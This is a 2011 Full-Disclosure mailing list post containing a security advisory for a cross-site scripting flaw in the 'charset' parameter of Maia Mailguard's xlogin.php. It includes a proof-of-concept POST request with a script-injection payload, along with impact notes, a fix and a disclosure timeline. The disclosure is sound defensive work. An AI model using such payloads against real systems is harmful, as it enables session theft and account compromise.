full-disclosure - Maia Mailguard is affected by a XSS vulnerability in version 1.0.2a

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Thu, 7 Apr 2011 17:11:59 +0200
From: Mario López Jiménez <mlopez@...uroo.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Maia Mailguard is affected by a XSS vulnerability
	in version 1.0.2a

===================================
BUGUROO SECURITY SYSTEMS ALERT
- Advisory: http://buguroo.com/adv/Buguroo_ADV_2011-001.txt
- Discovered on: March 29th, 2011
- Discovered by: Mario Lopez (mlopez (at) buguroo (dot) com)
- Severity: 5/10
===================================

1. VULNERABILITY
----------------------------
Maia Mailguard is affected by a XSS vulnerability in version 1.0.2a.

2. BACKGROUND
----------------------------
Maia Mailguard is a web-based interface and management system based on the
popular amavisd-new e-mail scanner and SpamAssassin. Written in Perl and
PHP, Maia Mailguard gives end-users control over how their mail is processed
by virus scanners and spam filters, while giving mail administrators the
power to configure site-wide defaults and limits.

3. DESCRIPTION
----------------------------
Any user has the ability to inject and execute arbitrary HTML and Javascript
code into the application.

The vulnerability exists due to failure in the "xlogin.php" script to
properly sanitize user-supplied input in "charset" variable. Successful
exploitation of this vulnerability could result in a compromise of the
application, theft of cookie-based authentication credentials, disclosure or
modification of sensitive data.

4. PROOF OF CONCEPT
----------------------------
An attacker can use browser to exploit this vulnerability. Example PoC url
is as follows:

POST https://example.com/xlogin.php HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg,
application/x-shockwave-flash, application/xaml+xml,
application/vnd.ms-xpsdocument, application/x-ms-xbap,
application/x-ms-application, */*
Referer: https://example.com/login.php
Accept-Language: es
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0;
.NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
Content-Type: application/x-www-form-urlencoded
Host: example.com
Content-Length: 63
Connection: Keep-Alive
Cache-Control: no-cache

super=&charset="></style><script>alert(11700)</script>&username=user&pwd=pass&submit=+Login+

5. BUSINESS IMPACT
----------------------------
A theft authentication admin credentials can damage the corporation image.

6. SYSTEMS AFFECTED
----------------------------
Maia Mailguard v1.0.2a and prior (all).

7. SOLUTION
----------------------------
Sanitize the inputs.

8. REFERENCES
----------------------------
http://www.maiamailguard.com
http://blog.buguroo.com

9. CREDITS
----------------------------
This vulnerability has been discovered and reported by Mario Lopez Jimenez,
Senior Security Analyst with Buguroo Offensive Security (mlopez (at) buguroo
(dot) com).

10. DISCLOSURE TIMELINE
----------------------------
2011-03-29: Vulnerability was identified
2011-03-31: Vendor contacted
2011-04-01: Response and correction started.
2011-04-03: Update Available.
2011-04-07: Buguroo publishes this security advisory.

11. ABOUT BUGUROO
----------------------------
Buguroo is a Spanish offensive security company founded in 2007, exclusively
dedicated to the development of IT security solutions by means of its own
software factory, We are a 100% R+D company under continuous evolution and
technological renovation, enabling us to stay at the vanguard of our sector
and to offer a first class service world wile.

12. DISCLAIMER
----------------------------
Buguroo Offensive Security, S.L. assumes no liability for the use of the
information provided in this advisory. This advisory was released in an
effort to help the I.T. community protect themselves against a potentially
dangerous security hole. This advisory is not an attempt to solicit
business.

-- 
Mario López Jiménez
Buguroo Offensive Security
www.buguroo.com

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/